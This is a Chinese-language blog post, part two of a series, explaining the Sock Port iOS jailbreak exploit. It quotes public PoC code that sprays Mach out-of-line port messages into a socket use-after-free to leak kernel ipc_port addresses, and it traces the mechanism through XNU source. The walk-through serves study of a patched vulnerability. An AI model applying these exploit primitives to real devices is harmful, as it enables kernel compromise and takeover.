iOS Jailbreak Principles - Sock Port 漏洞解析（二）通過 Mach OOL Message 洩露 Port Address

Soulghost發表於2019-11-24

系列文章

iOS Jailbreak Principles - Sock Port 漏洞解析（一）UAF 與 Heap Spraying

前言

在上一篇文章中，我們初步介紹了 UAF 原理，並提到了 iOS 10.0 - 12.2 的 Socket 程式碼中含有一個針對 in6p_outputopts 的 UAF Exploit，它是整個 Sock Port 漏洞的關鍵。從這篇文章開始，我們將逐行分析 Sock Port 2 的 Public PoC 原始碼，並結合 XNU 原始碼進行深入分析和解釋。

Mach port 是什麼

定義

在介紹 Sock Port 之前，我們需要先引入 Mach port 的概念[1]：

Mach ports are a kernel-provided inter-process communication (IPC) mechanism used heavily throughout the operating system. A Mach port is a unidirectional, kernel-protected channel that can have multiple send endpoints and only one receive endpoint.

即 Mach ports 是核心提供的程式間通訊機制，它被作業系統頻繁的使用。一個 Mach port 是一個受核心保護的單向管道，它可以有多個傳送端，但只能有一個接收端。

Mach port 對應的核心物件

Mach port 在使用者態以 mach_port_t 控制程式碼的形式存在，在核心空間中每個 mach_port_t 控制程式碼都有相對應的核心物件 ipc_port：

struct ipc_port {
    struct ipc_object ip_object;
    struct ipc_mqueue ip_messages;
    
    union {
    	struct ipc_space *receiver;
    	struct ipc_port *destination;
    	ipc_port_timestamp_t timestamp;
    } data;
    
    union {
    	ipc_kobject_t kobject; // task
    	ipc_importance_task_t imp_task;
    	ipc_port_t sync_inheritor_port;
    	struct knote *sync_inheritor_knote;
    	struct turnstile *sync_inheritor_ts;
    } kdata;
// ...
複製程式碼

其中比較關鍵的是 +0x68 處的 kobject 成員，它是一個 task 物件，根據 Apple 給出的文件：Task 是擁有資源的單位，它包含了虛擬地址空間、mach ports 空間以及執行緒空間[2]，它類似於程式的概念，在這裡我們可以簡單地理解為每個程式都有其對應的 Task，核心通過 Task 可以管理程式資源，並通過這種機制實現程式間通訊。

核心中的 Task 物件

Task 在核心中的結構如下：

struct task {
    // ...
    /* Virtual address space */
    vm_map_t	map;		/* Address space description */
    queue_chain_t	tasks;	/* global list of tasks */
    
    // ...
    /* Threads in this task */
    queue_head_t		threads;
    
    // ...
    /* Port right namespace */
    struct ipc_space *itk_space;
    
    /* Proc info */
    void *bsd_info;
    // ...
複製程式碼

上述程式碼中的 map, threads 和 itk_space 分別對應了上述對 Task 擁有的虛擬地址空間、mach ports 名稱空間以及執行緒空間，而 bsd_info 是一個 Proc 物件，它包含了當前程式資訊，例如我們熟悉的 PID：

struct	proc {
    LIST_ENTRY(proc) p_list;    /* List of all processes. */
    
    void * 		task;   /* corresponding task (static)*/
    pid_t		p_ppid; /* process's parent pid number */
    // ...
    pid_t		p_pid;  /* Process identifier. (static)*/
    // ...
複製程式碼

Port & Task 與程式的對應關係

在使用者態我們可以通過 mach_task_self_ 變數或是 mach_task_self() 巨集函式拿到當前程式的 Task port，所謂 Task port 即是指包含了該程式對應的 Task 作為其 kobject 的任務埠，擁有該埠即可對相應的程式“為所欲為”。

因此，只要我們能在使用者態獲取到核心的 Task port，就能對核心為所欲為。Sock Port 本質上就是在使用者態偽造了一個合法的核心 Task port（又被稱之為 task_for_pid(0) ，即 tfp0）。

Sock Port 概覽

Sock Port 漏洞通過 Socket in6p_outputopts UAF 主要實現了 3 個 Exploit Primitive：

mach_port 控制程式碼對應的 ipc_port 地址洩露，通過這種方式我們可以拿到應用自身程式的 Task port；
藉助於操作 in6p_outputopts 的成員實現了不穩定的核心記憶體讀取；
藉助於操作 in6p_outputopts 的成員實現了核心中任意大小 zone 的釋放。

Sock Port 通過組合這些 Primitive，先是通過 Socket UAF 獲得了一個可控的核心地址空間，隨後通過 Mach OOL Message 將這些空間填充成 ipc_port 的地址，最後偷樑換柱的用偽造的 ipc_port 對其進行替換，此時我們能夠得到一個合法、可控的 ipc_port。

隨後我們通過讀取自身程式 Task port 的 bsd_info 以及 task_prev 列舉所有程式，直到 pid = 0 我們便拿到了 Kernel Task，從 Kernel Task 中取出 Kernel Map 賦予我們偽造的 ipc_port，此時我們便將偽造的 ipc_port 偽裝成了一個真正的 Kernel Task port。

以上是對 Sock Port 的一個概述，詳細的利用過程涉及到 XNU 的諸多知識，且每一步都富含細節，到這裡讀者只需要對該漏洞有個整體認識，在接下來的文章中會一步步分析這些 Primitive 的原理，以及組合 Primitives 實現 tfp0 的詳細過程。

獲取 Port Address 的思路

漏洞的第一個關鍵是獲取到當前程式的 Task port 地址，這也是本文重點分析的內容。常規情況下，在使用者態我們只能拿到 Task port 的控制程式碼，若要拿到地址，有兩個思路：

洩露當前程式的 port 索引表，並通過控制程式碼查詢 port 的實際地址；
通過某種方式迫使核心分配 Task port 的指標到我們可讀的核心區域，即 UAF 方式。

事實上當前程式的 port 索引表是被 Task port 所間接引用的，即常規情況下我們需要先知道 Task port address 才能獲取到 port 索引表的位置，因此方式 1 不可行。實現方式 2 的關鍵點有兩個：UAF & 分配 Task port pointer，前者已經通過 Socket UAF 滿足，現在只差後者。

迫使核心分配 Task port pointer

在 Sock Port 中有一段關鍵程式碼，用於為指定的 target port 控制程式碼在核心中分配可控數量的 ipc_port 指標：

// from Ian Beer. make a kernel allocation with the kernel address of 'target_port', 'count' times
mach_port_t fill_kalloc_with_port_pointer(mach_port_t target_port, int count, int disposition) {
    mach_port_t q = MACH_PORT_NULL;
    kern_return_t err;
    err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &q);
    if (err != KERN_SUCCESS) {
        printf("[-] failed to allocate port\n");
        return 0;
    }
    
    mach_port_t* ports = malloc(sizeof(mach_port_t) * count);
    for (int i = 0; i < count; i++) {
        ports[i] = target_port;
    }
    
    struct ool_msg* msg = (struct ool_msg*)calloc(1, sizeof(struct ool_msg));
    
    msg->hdr.msgh_bits = MACH_MSGH_BITS_COMPLEX | MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, 0);
    msg->hdr.msgh_size = (mach_msg_size_t)sizeof(struct ool_msg);
    msg->hdr.msgh_remote_port = q;
    msg->hdr.msgh_local_port = MACH_PORT_NULL;
    msg->hdr.msgh_id = 0x41414141;
    
    msg->body.msgh_descriptor_count = 1;
    
    msg->ool_ports.address = ports;
    msg->ool_ports.count = count;
    msg->ool_ports.deallocate = 0;
    msg->ool_ports.disposition = disposition;
    msg->ool_ports.type = MACH_MSG_OOL_PORTS_DESCRIPTOR;
    msg->ool_ports.copy = MACH_MSG_PHYSICAL_COPY;
    
    err = mach_msg(&msg->hdr,
                   MACH_SEND_MSG|MACH_MSG_OPTION_NONE,
                   msg->hdr.msgh_size,
                   0,
                   MACH_PORT_NULL,
                   MACH_MSG_TIMEOUT_NONE,
                   MACH_PORT_NULL);
    
    if (err != KERN_SUCCESS) {
        printf("[-] failed to send message: %s\n", mach_error_string(err));
        return MACH_PORT_NULL;
    }
    
    return q;
}
複製程式碼

這段程式碼所做的事情有三個：

分配一個接收埠 q 用於接收 Mach OOL Message；
構造一個 Mach OOL Message，並用想要獲取地址的 target port 填充；
向接收埠 q 傳送 Mach Message，由於 Mach Message 先經過核心，會在核心中對 OOL Message 進行復制，在複製過程中控制程式碼會被轉為地址。

這個地方的一個關鍵是 OOL Message，它是觸發核心複製的關鍵。OOL Message 的全稱是 Out-of-line Message，之所以稱之為 out of line，是因為它的訊息體中包含了 Out-of-line Memory，而 Out-of-line Memory 即接收者虛擬地址空間以外的內容。根據 GNU Doc，Out-of-line Memory 會在接受者的空間進行 copyin 操作，有意思的事情在於如果 out-of-line 的是 mach_port 控制程式碼，在 copy 時會將其轉換為控制程式碼對應的 ipc_port 的地址。

到這裡我們已經瞭解了通過 OOL Message 迫使核心分配 port address 的方法，但知其然就要知其所以然，接下來我們從 XNU 原始碼入手分析著這整個過程。

從 XNU 原始碼分析 Mach OOL Message

筆者分析使用的 XNU 版本為 xnu-4903.221.2，分析時所在的 commit hash 為 a449c6a3b8014d9406c2ddbdc81795da24aa7443。

我們直接從傳送訊息的 mach_msg 函式入手分析，打斷點可知 mach_msg 最終會呼叫到核心的 mach_msg_trap 函式，我們開啟 XNU 原始碼可以看到 mach_msg_trap 其實是對 mach_msg_overwrite_trap 的簡單封裝：

mach_msg_return_t
mach_msg_trap(
	struct mach_msg_overwrite_trap_args *args)
{
    kern_return_t kr;
    args->rcv_msg = (mach_vm_address_t)0;
    
    kr = mach_msg_overwrite_trap(args);
    return kr;
}
複製程式碼

接下來我們去看 mach_msg_overwrite_trap 函式，首先看到函式的開頭：

mach_msg_return_t
mach_msg_overwrite_trap(
	struct mach_msg_overwrite_trap_args *args)
{
    mach_vm_address_t	msg_addr = args->msg;
    mach_msg_option_t	option = args->option;
    mach_msg_size_t	send_size = args->send_size;
    mach_msg_size_t	rcv_size = args->rcv_size;
    mach_port_name_t	rcv_name = args->rcv_name;
    mach_msg_timeout_t	msg_timeout = args->timeout;
    mach_msg_priority_t override = args->override;
    mach_vm_address_t	rcv_msg_addr = args->rcv_msg;
    __unused mach_port_seqno_t temp_seqno = 0;
    
    mach_msg_return_t  mr = MACH_MSG_SUCCESS;
    vm_map_t map = current_map();
    
    /* Only accept options allowed by the user */
    option &= MACH_MSG_OPTION_USER;
    
    if (option & MACH_SEND_MSG) {
        // ...
    }
    
    if (option & MACH_RCV_MSG) {
        // ...
    }
    
    // ...
複製程式碼

先是從 args 中解出使用者態傳入的引數，隨後準備了後續處理所需的環境，接下來的程式碼是對 option 的判斷，可見收發訊息共用了一個函式，由於我們傳入的 option 包含了 MACH_SEND_MSG，接下來會走到訊息傳送的分支邏輯：

if (option & MACH_SEND_MSG) {
    ipc_space_t space = current_space();
    ipc_kmsg_t kmsg;
    
    // 1. create kmsg and copy header
    mr = ipc_kmsg_get(msg_addr, send_size, &kmsg);
    
    if (mr != MACH_MSG_SUCCESS) {
    	return mr;
    }
    
    // 2. copy body
    mr = ipc_kmsg_copyin(kmsg, space, map, override, &option);
    
    if (mr != MACH_MSG_SUCCESS) {
    	ipc_kmsg_free(kmsg);
    	return mr;
    }
    
    // 3. send message
    mr = ipc_kmsg_send(kmsg, option, msg_timeout);
    
    if (mr != MACH_MSG_SUCCESS) {
    	mr |= ipc_kmsg_copyout_pseudo(kmsg, space, map, MACH_MSG_BODY_NULL);
    	(void) ipc_kmsg_put(kmsg, option, msg_addr, send_size, 0, NULL);
    	return mr;
    }
}
複製程式碼

在訊息傳送的分支邏輯中有三個關鍵步驟：

通過 mach message 建立一個 kmsg，kmsg 是 mach message 在核心中的資料結構；
將 mach message body 複製到 kmsg 中；
傳送 kmsg。

下面我們將詳細講解前兩個步驟，他們是整個 Mach OOL Message Spraying 的關鍵：

構造 kmsg

核心通過呼叫 ipc_kmsg_get 實現了 kmsg 構造，下面是 ipc_kmsg_get 去除了 debug 資訊與一些判斷邏輯外的全貌：

mach_msg_return_t
ipc_kmsg_get(
    mach_vm_address_t	msg_addr, // user space mach_msg_addr
    mach_msg_size_t	size, // send size = mach_msg_hdr->msgh_size = sizeof(mach_msg)
    ipc_kmsg_t		*kmsgp) // kmsg to return
{
    mach_msg_size_t		msg_and_trailer_size;
    ipc_kmsg_t 			kmsg;
    mach_msg_max_trailer_t	*trailer;
    mach_msg_legacy_base_t      legacy_base;
    mach_msg_size_t             len_copied;
    legacy_base.body.msgh_descriptor_count = 0;
    
    // 1. copy mach header & body to kernel legacy_base
    len_copied = sizeof(mach_msg_legacy_base_t);
    if (copyinmsg(msg_addr, (char *)&legacy_base, len_copied))
    	return MACH_SEND_INVALID_DATA;
    
    msg_addr += sizeof(legacy_base.header);
    // arm64 fixup
    size += LEGACY_HEADER_SIZE_DELTA;
    
    // 2. create a kmsg
    msg_and_trailer_size = size + MAX_TRAILER_SIZE;
    kmsg = ipc_kmsg_alloc(msg_and_trailer_size);
    if (kmsg == IKM_NULL)
    	return MACH_SEND_NO_BUFFER;
    
    // 2.1 init kernel mach_header
    kmsg->ikm_header->msgh_size	= size;
    kmsg->ikm_header->msgh_bits = legacy_base.header.msgh_bits;
    kmsg->ikm_header->msgh_remote_port = CAST_MACH_NAME_TO_PORT(legacy_base.header.msgh_remote_port);
    kmsg->ikm_header->msgh_local_port = CAST_MACH_NAME_TO_PORT(legacy_base.header.msgh_local_port);
    kmsg->ikm_header->msgh_voucher_port = legacy_base.header.msgh_voucher_port;
    kmsg->ikm_header->msgh_id = legacy_base.header.msgh_id;
    
    // 3. copy userspace mach body to kernel
    if (copyinmsg(msg_addr, (char *)(kmsg->ikm_header + 1), size - (mach_msg_size_t)sizeof(mach_msg_header_t))) {
    	ipc_kmsg_free(kmsg);
    	return MACH_SEND_INVALID_DATA;
    }
    
    // 4. init kmsg trailer
    trailer = (mach_msg_max_trailer_t *) ((vm_offset_t)kmsg->ikm_header + size);
    trailer->msgh_sender = current_thread()->task->sec_token;
    trailer->msgh_audit = current_thread()->task->audit_token;
    trailer->msgh_trailer_type = MACH_MSG_TRAILER_FORMAT_0;
    trailer->msgh_trailer_size = MACH_MSG_TRAILER_MINIMUM_SIZE;
    trailer->msgh_labels.sender = 0;
    
    *kmsgp = kmsg;
    return MACH_MSG_SUCCESS;
}
複製程式碼

整個 kmsg 的構造過程較為複雜，主要包含了 4 步：

在核心中新建一個 mach_msg_legacy_base_t 物件，它實際上是一個 mach_message 的基本結構，隨後將使用者空間的 mach header 和 body 通過 copyinmsg 複製到 mach_msg_legacy_base_t 物件，主要目的是在方便在核心中獲取訊息的 mach 資料結構；

typedef struct
{
    mach_msg_legacy_header_t    header;
    mach_msg_body_t             body;
} mach_msg_legacy_base_t;
複製程式碼

建立一個 kmsg 資料結構，kmsg 包含了 mach 訊息的全部資料，幷包含了額外的 buffer 來相容 64 位系統向 32 位系統傳送訊息的情況；
將使用者空間的 mach 訊息體拷貝到 kmsg；
初始化 kmsg 的 trailler，trailler 是一個位於 kmsg 尾部的變長資料結構，用於攜帶一些額外資訊。

這部分最複雜的部分是第 2 步 kmsg 的建立，其複雜性在於對整個 kmsg 空間的構造，涉及大量的地址與尺寸計算，由於整個過程十分冗長無聊，這裡直接給出結論，有興趣的讀者可以順著方法自己構造一遍整個 kmsg 資料體。

/***
 *  |-kmsg(84)-|---body(60)---|-mach_msg_hdr(24)-|-mach_msg_body(4)-|-descriptor(16)-|-trailer(0x44)-|
 *      |                       ^
 *      |                       |
 *   ikm_header ----------------|
 */
複製程式碼

可見使用者空間傳送的 mach message 結構被放置在了 kmsg body 後面，包含 header, body 和 descriptor 三部分，隨後跟著一個 trailer。

事實上，body 區域是被預留的，用於處理 kmsg 無法完整容納下 descriptor 的情況，這一點在 ipc_kmsg_alloc 開頭的註釋中可以看到：

/*
 * LP64support -
 * Pad the allocation in case we need to expand the
 * message descrptors for user spaces with pointers larger than
 * the kernel's own, or vice versa.  We don't know how many descriptors
 * there are yet, so just assume the whole body could be
 * descriptors (if there could be any at all).
 *
 * The expansion space is left in front of the header,
 * because it is easier to pull the header and descriptors
 * forward as we process them than it is to push all the
 * data backwards.
 */
複製程式碼

即當使用者空間的 descriptor 比核心空間大時，我們可以將 kmsg 從 mach_msg_header 開始整體左移，為 descriptor 空出空間。之所以在左側預留空間是因為 kmsg 後面的記憶體空間可能已被佔用，將 header 向前拉要比向後推動要更簡單。

將使用者空間的 mach message 剩餘部分複製到 kmsg

構造好了 kmsg 以後，我們只完成了 header 和 body 的複製，其中 body 包含了 descriptor 的資訊，接下來的工作是通過 ipc_kmsg_copyin 函式賦值餘下的部分，併為 OOL Message 中的 OOL Memory 轉化為 in-line memory。

我們先來看 ipc_kmsg_copyin 的實現：

mach_msg_return_t
ipc_kmsg_copyin(
	ipc_kmsg_t		kmsg,
	ipc_space_t		space,
	vm_map_t		map,
	mach_msg_priority_t     override,
	mach_msg_option_t	*optionp)
{
    mach_msg_return_t mr;
    
    kmsg->ikm_header->msgh_bits &= MACH_MSGH_BITS_USER;
    
    // 1. copy header rights
    mr = ipc_kmsg_copyin_header(kmsg, space, override, optionp);
    
    if (mr != MACH_MSG_SUCCESS)
    return mr;
    
    if ((kmsg->ikm_header->msgh_bits & MACH_MSGH_BITS_COMPLEX) == 0)
        return MACH_MSG_SUCCESS;
    
    // 2. copy body
    mr = ipc_kmsg_copyin_body(kmsg, space, map, optionp);
    
    return mr;
}
複製程式碼

這裡主要包含兩個步驟：

複製使用者空間的 mach message rights 到 kmsg，這裡的 rights 指的是 port 的傳送和接收能力；
複製 descriptor 到 kmsg，並根據 descriptor 對 OOL Memory 建立相應的核心空間完成地址空間的轉換。

這裡重點講一下步驟 2，它是能迫使核心完成從 port 控制程式碼到 port address 轉換和指標分配的關鍵，下面是筆者在 arm64 和上述 OOL Message 方式呼叫條件下去掉一些邊界判斷後精簡的 ipc_kmsg_copyin_body 內容：

mach_msg_return_t
ipc_kmsg_copyin_body(
	ipc_kmsg_t	kmsg,
	ipc_space_t	space,
	vm_map_t    map,
	mach_msg_option_t *optionp)
{
    ipc_object_t dest;
    mach_msg_body_t	*body;
    mach_msg_descriptor_t *user_addr, *kern_addr;
    mach_msg_type_number_t dsc_count;
    boolean_t is_task_64bit = (map->max_offset > VM_MAX_ADDRESS);
    boolean_t complex = FALSE;
    vm_size_t space_needed = 0;
    vm_offset_t	paddr = 0;
    vm_map_copy_t copy = VM_MAP_COPY_NULL;
    mach_msg_type_number_t i;
    mach_msg_return_t mr = MACH_MSG_SUCCESS;
    
    // 1. init descriptor size
    vm_size_t descriptor_size = 0;
    
    dest = (ipc_object_t) kmsg->ikm_header->msgh_remote_port;
    body = (mach_msg_body_t *) (kmsg->ikm_header + 1);
    dsc_count = body->msgh_descriptor_count;
    
    /*
     * Make an initial pass to determine kernal VM space requirements for
     * physical copies and possible contraction of the descriptors from
     * processes with pointers larger than the kernel's.
     */
    daddr = NULL;
    for (i = 0; i < dsc_count; i++) {
        /* make sure the descriptor fits in the message */
        descriptor_size += 16;
    }
    
    /*
     * Allocate space in the pageable kernel ipc copy map for all the
     * ool data that is to be physically copied.  Map is marked wait for
     * space.
     */
    if (space_needed) {
        if (vm_allocate_kernel(ipc_kernel_copy_map, &paddr, space_needed,
                    VM_FLAGS_ANYWHERE, VM_KERN_MEMORY_IPC) != KERN_SUCCESS) {
            mr = MACH_MSG_VM_KERNEL;
            goto clean_message;
        }
    }
    
    /* user_addr = just after base as it was copied in */
    user_addr = (mach_msg_descriptor_t *)((vm_offset_t)kmsg->ikm_header + sizeof(mach_msg_base_t));
    
    // 2. pull header forward if needed
    /* Shift the mach_msg_base_t down to make room for dsc_count*16bytes of descriptors */
    if (descriptor_size != 16 * dsc_count) {
        vm_offset_t dsc_adjust = 16 * dsc_count - descriptor_size;
        memmove((char *)(((vm_offset_t)kmsg->ikm_header) - dsc_adjust), kmsg->ikm_header, sizeof(mach_msg_base_t));
        kmsg->ikm_header = (mach_msg_header_t *)((vm_offset_t)kmsg->ikm_header - dsc_adjust);
        /* Update the message size for the larger in-kernel representation */
        kmsg->ikm_header->msgh_size += (mach_msg_size_t)dsc_adjust;
    }
    
    /* kern_addr = just after base after it has been (conditionally) moved */
    kern_addr = (mach_msg_descriptor_t *)((vm_offset_t)kmsg->ikm_header + sizeof(mach_msg_base_t));
    
    // 3. copy ool ports to kernel zone
    /* handle the OOL regions and port descriptors. */
    for (i = 0; i < dsc_count; i++) {
        user_addr = ipc_kmsg_copyin_ool_ports_descriptor((mach_msg_ool_ports_descriptor_t *)kern_addr, 
    			            user_addr, is_task_64bit, map, space, dest, kmsg, optionp, &mr);
        kern_addr++;
        complex = TRUE;    
    }
    
    if (!complex) {
        kmsg->ikm_header->msgh_bits &= ~MACH_MSGH_BITS_COMPLEX;
    }
    
    return mr;
複製程式碼

這個函式較為複雜，筆者在其中用註釋標出了 3 個關鍵步驟：

初始化 descriptor size，它是 mach_msg_ool_ports_descriptor_t 的使用者空間大小；
如果發現 kmsg 容納不了使用者空間的 mach_msg_ool_ports_descriptor_t，將 kmsg 從 header 開始整體往前移動，為 descriptor 留下足夠的空間，這與上文中提到的 kmsg body expand size 描述一致；
將 ool ports 拷貝到核心地址空間，這其中包含了從 port 控制程式碼到 ipc_port address 的轉換。

由於我們的 body 只包含了一個 descriptor，且使用者空間尺寸與核心空間中一致，因此不需要 pull header forward，接下來我們終於來到了本文的重頭戲：ool ports 轉換。

port 控制程式碼到地址的轉換是通過呼叫 ipc_kmsg_copyin_ool_ports_descriptor 函式完成的，下面我們看一下該函式的實現：

mach_msg_descriptor_t *
ipc_kmsg_copyin_ool_ports_descriptor(
	mach_msg_ool_ports_descriptor_t *dsc,
	mach_msg_descriptor_t *user_dsc,
	int is_64bit,
	vm_map_t map,
	ipc_space_t space,
	ipc_object_t dest,
	ipc_kmsg_t kmsg,
	mach_msg_option_t *optionp,
	mach_msg_return_t *mr)
{
    void *data;
    ipc_object_t *objects;
    unsigned int i;
    mach_vm_offset_t addr;
    mach_msg_type_name_t user_disp;
    mach_msg_type_name_t result_disp;
    mach_msg_type_number_t count;
    mach_msg_copy_options_t copy_option;
    boolean_t deallocate;
    mach_msg_descriptor_type_t type;
    vm_size_t ports_length, names_length;
    
    mach_msg_ool_ports_descriptor64_t *user_ool_dsc = (typeof(user_ool_dsc))user_dsc;
    addr = (mach_vm_offset_t)user_ool_dsc->address;
    count = user_ool_dsc->count;
    deallocate = user_ool_dsc->deallocate;
    copy_option = user_ool_dsc->copy;
    user_disp = user_ool_dsc->disposition;
    type = user_ool_dsc->type;
    
    user_dsc = (typeof(user_dsc))(user_ool_dsc+1);
    
    dsc->deallocate = deallocate;
    dsc->copy = copy_option;
    dsc->type = type;
    dsc->count = count;
    dsc->address = NULL;  /* for now */
    
    result_disp = ipc_object_copyin_type(user_disp);
    dsc->disposition = result_disp;
    
    // 1. calculate port_pointers length and port_names length
    /* calculate length of data in bytes, rounding up */
    if (os_mul_overflow(count, sizeof(mach_port_t), &ports_length)) {
        *mr = MACH_SEND_TOO_LARGE;
        return NULL;
    }
    if (os_mul_overflow(count, sizeof(mach_port_name_t), &names_length)) {
        *mr = MACH_SEND_TOO_LARGE;
        return NULL;
    }
    
    // 2. alloc kenrel zone for port pointers
    data = kalloc(ports_length);
    mach_port_name_t *names = &((mach_port_name_t *)data)[count];
    if (copyinmap(map, addr, names, names_length) != KERN_SUCCESS) {
        kfree(data, ports_length);
        *mr = MACH_SEND_INVALID_MEMORY;
        return NULL;
    }
    
    if (deallocate) {
        (void) mach_vm_deallocate(map, addr, (mach_vm_size_t)ports_length);
    }
    
    objects = (ipc_object_t *) data;
    // 3. 替換 ool address 為 kernel address
    dsc->address = data;
    
    for ( i = 0; i < count; i++) {
        mach_port_name_t name = names[i];
        ipc_object_t object;
    
        if (!MACH_PORT_VALID(name)) {
            objects[i] = (ipc_object_t)CAST_MACH_NAME_TO_PORT(name);
            continue;
        }
        
        // 4. convert port_name to port_addr
        kern_return_t kr = ipc_object_copyin(space, name, user_disp, &object);
    
        if (kr != KERN_SUCCESS) {
            unsigned int j;
    
            for(j = 0; j < i; j++) {
                object = objects[j];
                if (IPC_OBJECT_VALID(object))
                    ipc_object_destroy(object, result_disp);
            }
            kfree(data, ports_length);
            dsc->address = NULL;
    		if ((*optionp & MACH_SEND_KERNEL) == 0) {
    			mach_port_guard_exception(name, 0, 0, kGUARD_EXC_SEND_INVALID_RIGHT);
    		}
            *mr = MACH_SEND_INVALID_RIGHT;
            return NULL;
        }
    
        if ((dsc->disposition == MACH_MSG_TYPE_PORT_RECEIVE) &&
                ipc_port_check_circularity(
                    (ipc_port_t) object,
                    (ipc_port_t) dest))
            kmsg->ikm_header->msgh_bits |= MACH_MSGH_BITS_CIRCULAR;
    
        objects[i] = object;
    }
    
    return user_dsc;
}
複製程式碼

這段程式碼同樣十分複雜，筆者在其中標出了 4 個關鍵步驟：

計算 ipc_port pointer 所需要的空間大小，以及使用者空間中 mach_port 控制程式碼陣列的大小；
在核心中分配空間用於容納從控制程式碼陣列轉換而來的 ipc_port pointer 陣列，這個地方的 ports_length 有些費解，理論上應該計算 count * sizeof(mach_port_t *)，如果採用 count * sizeof(mach_port_t) 作為 kalloc 引數如何能裝下 pointers 呢？是不是 kalloc 有一些特殊的記憶體分配規則，望高人指點；
替換 kmsg 中的 ool address 為步驟 2 中分配的 kernel address；
完成從 port 控制程式碼到 port address 的轉換。

這其中的重點是步驟 4，它通過呼叫 ipc_object_copyin 將一個控制程式碼轉化為 ipc_port pointer，我們來看它的實現：

kern_return_t
ipc_object_copyin(
	ipc_space_t		space,
	mach_port_name_t	name,
	mach_msg_type_name_t	msgt_name,
	ipc_object_t		*objectp)
{
    ipc_entry_t entry;
    ipc_port_t soright;
    ipc_port_t release_port;
    kern_return_t kr;
    int assertcnt = 0;

    // 1. find port in is_table
    kr = ipc_right_lookup_write(space, name, &entry);
    if (kr != KERN_SUCCESS)
        return kr;
    
    release_port = IP_NULL;
    // 2. copy to kernel ipc_object
    kr = ipc_right_copyin(space, name, entry,
    		      msgt_name, TRUE,
    		      objectp, &soright,
    		      &release_port,
    		      &assertcnt);
    // ...
    
    return kr;
}
複製程式碼

這裡主要有兩個關鍵步驟：

在當前 IPC Space 的 port 索引表中根據 port_name 獲取到 port address；
將 port right 拷貝到核心中的 ipc_object 物件返回。

這裡的關鍵是第 1 步，它通過 ipc_right_lookup_write 實現了控制程式碼到地址的轉換，它是對 ipc_entry_lookup 的封裝，我們直接看後者的實現：

ipc_entry_t
ipc_entry_lookup(
	ipc_space_t		space,
	mach_port_name_t	name)
{
    mach_port_index_t index;
    ipc_entry_t entry;
    
    assert(is_active(space));
    
    // 1. get index from port name
    index = name >> 8;
    if (index <  space->is_table_size) {
        // 2. get port address by index from is_table
        entry = &space->is_table[index];
    	if (IE_BITS_GEN(entry->ie_bits) != MACH_PORT_GEN(name) ||
    	    IE_BITS_TYPE(entry->ie_bits) == MACH_PORT_TYPE_NONE) {
    		entry = IE_NULL;		
    	}
    }
    else {
    	entry = IE_NULL;
    }
    
    assert((entry == IE_NULL) || IE_BITS_TYPE(entry->ie_bits));
    return entry;
}
複製程式碼

從這裡我們可以看到，port 控制程式碼中的索引資訊是從第 8 位開始的，因此將 port name 右移 8 位即可得到 port index，隨後在索引表中查詢地址返回。

到這裡我們已經全然明白了為何能通過傳送 Mach OOL Message 實現迫使核心分配指定 port 的 ipc_port pointers 的原理，接下來我們著手分析如何獲取到這個地址。

通過 OOL Message 與 Socket UAF 獲取 Port Address

到這裡思路變得十分明確，我們只需要利用 Socket UAF 得到一塊已釋放區域，然後傳送大量的 OOL Message 訊息，且使得 port 陣列與被釋放區域大小一致，即可通過 Heap Spraying 將 ipc_port pointer 陣列分配在已釋放區域，下面我們來看 Sock Port 中的這段程式碼：

// first primitive: leak the kernel address of a mach port
uint64_t find_port_via_uaf(mach_port_t port, int disposition) {
    // here we use the uaf as an info leak
    // 1. make dangling socket option zone
    int sock = get_socket_with_dangling_options();
    
    for (int i = 0; i < 0x10000; i++) {
        // since the UAFd field is 192 bytes, we need 192/sizeof(uint64_t) pointers
        
        // 2. send ool message
        mach_port_t p = fill_kalloc_with_port_pointer(port, 192/sizeof(uint64_t), MACH_MSG_TYPE_COPY_SEND);
        
        int mtu;
        int pref;
        
        // 3. get option and check if it is a kernel pointer
        get_minmtu(sock, &mtu); // this is like doing rk32(options + 180);
        get_prefertempaddr(sock, &pref); // this like rk32(options + 184);
        
        // since we wrote 192/sizeof(uint64_t) pointers, reading like this would give us the second half of rk64(options + 184) and the fist half of rk64(options + 176)
        
        /*  from a hex dump:
         
         (lldb) p/x HexDump(options, 192)
         XX XX XX XX F0 FF FF FF  XX XX XX XX F0 FF FF FF  |  ................
         ...
         XX XX XX XX F0 FF FF FF  XX XX XX XX F0 FF FF FF  |  ................
                    |-----------||-----------|
                     minmtu here prefertempaddr here
         */
        
        // the ANDing here is done because for some reason stuff got wrong. say pref = 0xdeadbeef and mtu = 0, ptr would come up as 0xffffffffdeadbeef instead of 0x00000000deadbeef. I spent a day figuring out what was messing things up
        
        uint64_t ptr = (((uint64_t)mtu << 32) & 0xffffffff00000000) | ((uint64_t)pref & 0x00000000ffffffff);
        
        if (mtu >= 0xffffff00 && mtu != 0xffffffff && pref != 0xdeadbeef) {
            mach_port_destroy(mach_task_self(), p);
            close(sock);
            return ptr;
        }
        mach_port_destroy(mach_task_self(), p);
    }
    
    // close that socket.
    close(sock);
    return 0;
}
複製程式碼

這裡有 4 個關鍵步驟：

利用 Socket UAF 製造一個 in6p_outputopts 大小的已釋放區域，詳細過程可以看上一篇文章：iOS Jailbreak Principles - Sock Port 漏洞解析（一）UAF 與 Heap Spraying 或 Sock Port Write-up；
傳送 ool message，由於 in6p_outputopts 的大小為 192B，一個 port pointer 大小為 8B，因此我們需要傳送 192 / 8 = 24 個 ool_ports；
通過 in6p_outputopts 兩個連續的成員變數拼接出一個 64 位地址；
判斷步驟 3 中得到的地址是否是核心物件指標，如果是核心物件指標，說明我們成功了，該地址就是 target port 的地址。

這裡我們重點講一下第 3、4 步：

通過 Socket Option 讀取一個 8B 區域

根據 in6p_outputopts 對應的結構體：

struct	ip6_pktopts {
    struct	mbuf *ip6po_m;	
    int	        ip6po_hlim;	
    struct	in6_pktinfo *ip6po_pktinfo;
    struct	ip6po_nhinfo ip6po_nhinfo;
    struct	ip6_hbh *ip6po_hbh; 
    struct	ip6_dest *ip6po_dest1;
    struct	ip6po_rhinfo ip6po_rhinfo;
    struct	ip6_dest *ip6po_dest2;
    int	ip6po_tclass;
    int	ip6po_minmtu; // +180
    int	ip6po_prefer_tempaddr; // + 184
    int ip6po_flags;
};
複製程式碼

